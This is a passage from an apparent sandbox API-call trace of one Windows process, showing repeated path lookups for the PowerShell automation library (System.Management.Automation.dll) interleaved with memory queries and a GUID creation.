	[0084.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.004] GetLastError () returned 0x0
	[0084.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.004] GetLastError () returned 0x0
	[0084.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.004] GetLastError () returned 0x0
	[0084.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.004] GetLastError () returned 0x0
	[0084.005] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.005] GetLastError () returned 0x0
	[0084.005] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.005] GetLastError () returned 0x0
	[0084.005] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.005] GetLastError () returned 0x0
	[0084.005] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.005] GetLastError () returned 0x0
	[0084.005] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.005] GetLastError () returned 0x0
	[0084.005] VirtualQuery (in: lpAddress=0xed704, lpBuffer=0xee704, dwLength=0x1c | out: lpBuffer=0xee704*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.005] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.005] GetLastError () returned 0x0
	[0084.005] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.005] GetLastError () returned 0x0
	[0084.005] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.005] GetLastError () returned 0x0
	[0084.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.006] GetLastError () returned 0x0
	[0084.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.006] GetLastError () returned 0x0
	[0084.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.006] GetLastError () returned 0x0
	[0084.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.006] GetLastError () returned 0x0
	[0084.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.006] GetLastError () returned 0x0
	[0084.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.006] GetLastError () returned 0x0
	[0084.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.006] GetLastError () returned 0x0
	[0084.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.006] GetLastError () returned 0x0
	[0084.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.006] GetLastError () returned 0x0
	[0084.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.006] GetLastError () returned 0x0
	[0084.007] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.007] GetLastError () returned 0x0
	[0084.007] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.007] GetLastError () returned 0x0
	[0084.007] VirtualQuery (in: lpAddress=0xed704, lpBuffer=0xee704, dwLength=0x1c | out: lpBuffer=0xee704*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.007] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.007] GetLastError () returned 0x0
	[0084.007] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.007] GetLastError () returned 0x0
	[0084.007] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.007] GetLastError () returned 0x0
	[0084.007] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.007] GetLastError () returned 0x0
	[0084.007] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.007] GetLastError () returned 0x0
	[0084.007] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.007] GetLastError () returned 0x0
	[0084.008] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.008] GetLastError () returned 0x0
	[0084.008] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.008] GetLastError () returned 0x0
	[0084.008] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.008] GetLastError () returned 0x0
	[0084.008] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.008] GetLastError () returned 0x0
	[0084.008] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.008] GetLastError () returned 0x0
	[0084.008] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.008] GetLastError () returned 0x0
	[0084.008] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.008] GetLastError () returned 0x0
	[0084.008] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.008] GetLastError () returned 0x0
	[0084.008] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.008] GetLastError () returned 0x0
	[0084.008] VirtualQuery (in: lpAddress=0xed704, lpBuffer=0xee704, dwLength=0x1c | out: lpBuffer=0xee704*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.009] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.009] GetLastError () returned 0x0
	[0084.009] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.009] GetLastError () returned 0x0
	[0084.009] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.009] GetLastError () returned 0x0
	[0084.009] VirtualQuery (in: lpAddress=0xed704, lpBuffer=0xee704, dwLength=0x1c | out: lpBuffer=0xee704*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.009] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.009] GetLastError () returned 0x0
	[0084.009] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.009] GetLastError () returned 0x0
	[0084.009] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.009] GetLastError () returned 0x0
	[0084.009] VirtualQuery (in: lpAddress=0xed334, lpBuffer=0xee334, dwLength=0x1c | out: lpBuffer=0xee334*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.010] VirtualQuery (in: lpAddress=0xed370, lpBuffer=0xee370, dwLength=0x1c | out: lpBuffer=0xee370*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.010] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.010] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.010] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.010] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.010] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.011] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.011] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.011] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.011] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.011] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.011] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.011] VirtualQuery (in: lpAddress=0xed4dc, lpBuffer=0xee4dc, dwLength=0x1c | out: lpBuffer=0xee4dc*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.011] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.012] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.012] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.012] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.012] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x28b82fe6, Data2=0x8b0, Data3=0x4daf, Data4=([0]=0x93, [1]=0x75, [2]=0x95, [3]=0xca, [4]=0x82, [5]=0x50, [6]=0xa3, [7]=0xa6))) returned 0x0
	[0084.012] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.012] GetLastError () returned 0x0
	[0084.012] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.012] GetLastError () returned 0x0
	[0084.012] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.012] GetLastError () returned 0x0
